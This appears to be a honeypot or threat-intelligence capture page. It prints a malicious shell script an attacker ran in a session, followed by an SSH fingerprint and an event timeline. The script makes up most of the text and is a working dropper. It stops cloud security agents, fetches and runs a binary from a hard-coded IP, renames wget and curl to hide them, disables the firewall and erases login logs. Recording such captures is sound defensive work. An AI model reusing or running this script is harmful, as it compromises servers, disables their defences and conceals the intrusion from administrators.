#!/bin/sh; ; ; wdir="/tmp"; for i in "/dev/shm" "/tmp" "/var/tmp" "/home" "/root"; do; touch "$i/test_exec" >/dev/null 2>&1; chmod +x "$i/test_exec" >/dev/null 2>&1; if [ -w "$i" ] && [ -x "$i/test_exec" ]; then; wdir="$i"; rm -f "$i/test_exec"; break; fi; rm -f "$i/test_exec" >/dev/null 2>&1; done; cd "$wdir" || exit 1; ; ; for svc in aegis aliyun YDService tat_agent; do; systemctl stop $svc >/dev/null 2>&1; systemctl disable $svc >/dev/null 2>&1; systemctl mask $svc >/dev/null 2>&1; done; systemctl daemon-reload >/dev/null 2>&1; ; if command -v chattr >/dev/null 2>&1; then; chattr -R -i -a /usr/local/aegis/ >/dev/null 2>&1; chattr -R -i -a /usr/local/qcloud/ >/dev/null 2>&1; fi; pkill -9 AliYunDun >/dev/null 2>&1; pkill -9 YDService >/dev/null 2>&1; rm -rf /usr/local/aegis /usr/local/qcloud >/dev/null 2>&1; ; ; download_vos() {; local_arch=$(uname -m); SERVER_IP="169.239.130.20" ; SERVER_URL="http://${SERVER_IP}/new.php?type=${local_arch}"; target="new.txt"; T_LIMIT=30; ; rm -f "$target" >/dev/null 2>&1; ; ; do_dl() {; # 1. wget; if command -v wget >/dev/null 2>&1; then; wget --no-check-certificate -q -T $T_LIMIT "$SERVER_URL" -O "$target" >/dev/null 2>&1; [ -s "$target" ] && return 0; fi; # 2. curl; if command -v curl >/dev/null 2>&1; then; curl -skL -m $T_LIMIT "$SERVER_URL" -o "$target" >/dev/null 2>&1; [ -s "$target" ] && return 0; fi; ; if command -v good >/dev/null 2>&1; then; good --no-check-certificate -q -T $T_LIMIT "$SERVER_URL" -O "$target" >/dev/null 2>&1; [ -s "$target" ] && return 0; fi; ; if command -v cool >/dev/null 2>&1; then; cool -skL -m $T_LIMIT "$SERVER_URL" -o "$target" >/dev/null 2>&1; [ -s "$target" ] && return 0; fi; # 5. python3; if command -v python3 >/dev/null 2>&1; then; python3 -c "import urllib.request; urllib.request.urlretrieve('$SERVER_URL', '$target')" >/dev/null 2>&1; [ -s "$target" ] && return 0; fi; # 6. python; if command -v python >/dev/null 2>&1; then; python -c "import urllib; urllib.urlretrieve('$SERVER_URL', '$target')" >/dev/null 2>&1; [ -s "$target" ] && return 0; fi; return 1; }; ; ; do_dl &; dl_pid=$!; sec=0; while [ $sec -lt $T_LIMIT ]; do; if ! kill -0 $dl_pid 2>/dev/null; then; wait $dl_pid; break; fi; sleep 1; sec=$((sec + 1)); done; kill -9 $dl_pid >/dev/null 2>&1; ; ; if [ -s "$target" ]; then; chmod +x "$target"; setsid "./$target" >/dev/null 2>&1 &; sleep 1; if ! pgrep -f "$target" >/dev/null; then; setsid sh "./$target" >/dev/null 2>&1 &; fi; return 0; fi; return 1; }; ; download_vos; ; ; lock_tools() {; if command -v chattr >/dev/null 2>&1; then; chattr -i /usr/bin/wget /usr/bin/curl >/dev/null 2>&1; fi; w_path=$(which wget 2>/dev/null); [ -n "$w_path" ] && [ "$(basename "$w_path")" != "good" ] && mv "$w_path" "$(dirname "$w_path")/good" >/dev/null 2>&1; c_path=$(which curl 2>/dev/null); [ -n "$c_path" ] && [ "$(basename "$c_path")" != "cool" ] && mv "$c_path" "$(dirname "$c_path")/cool" >/dev/null 2>&1; }; lock_tools; ; ; systemctl stop firewalld ufw >/dev/null 2>&1; iptables -F >/dev/null 2>&1; for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do [ -f "$log" ] && echo > "$log"; done; ; sleep 2; ls -la /var/run/gcc.pid
/bin/skhqwensw
/bin/skhqwensw
ls -la /var/run/gcc.pid

Fingerprints

HASSH

5bd26477da5440a6187bd3f1b39a429c

SSH Client

SSH-2.0-PUTTY

Evidence Timeline

Reconnaissance 5262f32ca304 w4m_seattle_01 · 2026-07-08 04:32

1 1 60%

Loading events...

Data Exfiltrator 741b3e885095 w4m_singapore_01 · 2026-07-08 04:18

4 1 90%

Loading events...